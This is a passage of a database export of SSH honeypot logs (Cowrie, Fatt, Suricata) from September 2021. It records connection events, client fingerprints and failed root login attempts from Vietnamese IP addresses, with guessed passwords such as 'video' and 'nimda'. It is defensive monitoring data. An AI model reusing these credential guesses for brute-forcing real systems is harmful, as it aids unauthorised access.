"voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23498	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:40.850165+03	2021-09-20 14:15:07.58347+03	{"_id": "HQbjAnwBvYTbRNuE4g4G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/video] failed", "session": "789372657a4e", "@version": "1", "password": "video", "username": "root", "timestamp": "2021-09-20T11:07:40.850165Z", "@timestamp": "2021-09-20T11:07:40.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23499	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:40.041596+03	2021-09-20 14:15:07.584471+03	{"_id": "JAbjAnwBvYTbRNuE4g4H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7402, "dest_port": 22, "timestamp": "2021-09-20T11:07:40.041596", "@timestamp": "2021-09-20T11:07:40.041Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23500	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:41.250172+03	2021-09-20 14:15:07.58647+03	{"_id": "FwbjAnwBvYTbRNuE4g4G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6737c28d71b9", "@version": "1", "timestamp": "2021-09-20T11:07:41.250172Z", "@timestamp": "2021-09-20T11:07:41.250Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23501	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:40.733495+03	2021-09-20 14:15:07.587471+03	{"_id": "JwbjAnwBvYTbRNuE4g4H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9a3eb004ca57", "@version": "1", "timestamp": "2021-09-20T11:07:40.733495Z", "@timestamp": "2021-09-20T11:07:40.733Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23502	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:40.885519+03	2021-09-20 14:15:07.588471+03	{"_id": "KAbjAnwBvYTbRNuE4g4H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/nimda] failed", "session": "871935357b3b", "@version": "1", "password": "nimda", "username": "root", "timestamp": "2021-09-20T11:07:40.885519Z", "@timestamp": "2021-09-20T11:07:40.885Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23503	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:41.070854+03	2021-09-20 14:15:07.58947+03	{"_id": "KQbjAnwBvYTbRNuE4g4H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "70265ce44949", "@version": "1", "duration": 2.463390588760376, "timestamp": "2021-09-20T11:07:41.070854Z", "@timestamp": "2021-09-20T11:07:41.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23504	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:41.248952+03	2021-09-20 14:15:07.59047+03	{"_id": "KgbjAnwBvYTbRNuE5A5x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 100149703250267, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56336, "dest_port": 22, "timestamp": "2021-09-20T11:07:41.248952Z", "@timestamp": "2021-09-20T11:07:41.248Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23505	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:41.562529+03	2021-09-20 14:15:07.59247+03	{"_id": "KwbjAnwBvYTbRNuE5A5x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1444498089256973, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59918, "dest_port": 22, "timestamp": "2021-09-20T11:07:41.562529Z", "@timestamp": "2021-09-20T11:07:41.562Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23506	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:41.866181+03	2021-09-20 14:15:07.593472+03	{"_id": "LAbjAnwBvYTbRNuE5A5x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 428764093562510, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50834, "dest_port": 22, "timestamp": "2021-09-20T11:07:41.866181Z", "@timestamp": "2021-09-20T11:07:41.866Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23507	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:41.28567+03	2021-09-20 14:15:07.595471+03	{"_id": "LQbjAnwBvYTbRNuE5Q7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:59918 (192.168.176.2:22) [session: 431b0eae0d8c]", "session": "431b0eae0d8c", "@version": "1", "protocol": "ssh", "src_port": 59918, "dest_port": 22, "timestamp": "2021-09-20T11:07:41.285670Z", "@timestamp": "2021-09-20T11:07:41.285Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23508	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:41.962731+03	2021-09-20 14:15:07.59647+03	{"_id": "LwbjAnwBvYTbRNuE5Q7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:6754 (192.168.176.2:22) [session: d6ad7ec06fcd]", "session": "d6ad7ec06fcd", "@version": "1", "protocol": "ssh", "src_port": 6754, "dest_port": 22, "timestamp": "2021-09-20T11:07:41.962731Z", "@timestamp": "2021-09-20T11:07:41.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23509	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:41.287028+03	2021-09-20 14:15:07.59747+03	{"_id": "PwbjAnwBvYTbRNuE5Q7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "431b0eae0d8c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:41.287028Z", "@timestamp": "2021-09-20T11:07:41.287Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23510	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:41.68226+03	2021-09-20 14:15:07.59947+03	{"_id": "QAbjAnwBvYTbRNuE5Q7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4aea487b336f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:41.682260Z", "@timestamp": "2021-09-20T11:07:41.682Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23511	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:42.241824+03	2021-09-20 14:15:07.60047+03	{"_id": "XgbjAnwBvYTbRNuE6A5Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1053733374756752, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 6754, "dest_port": 22, "timestamp": "2021-09-20T11:07:42.241824Z", "@timestamp": "2021-09-20T11:07:42.241Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
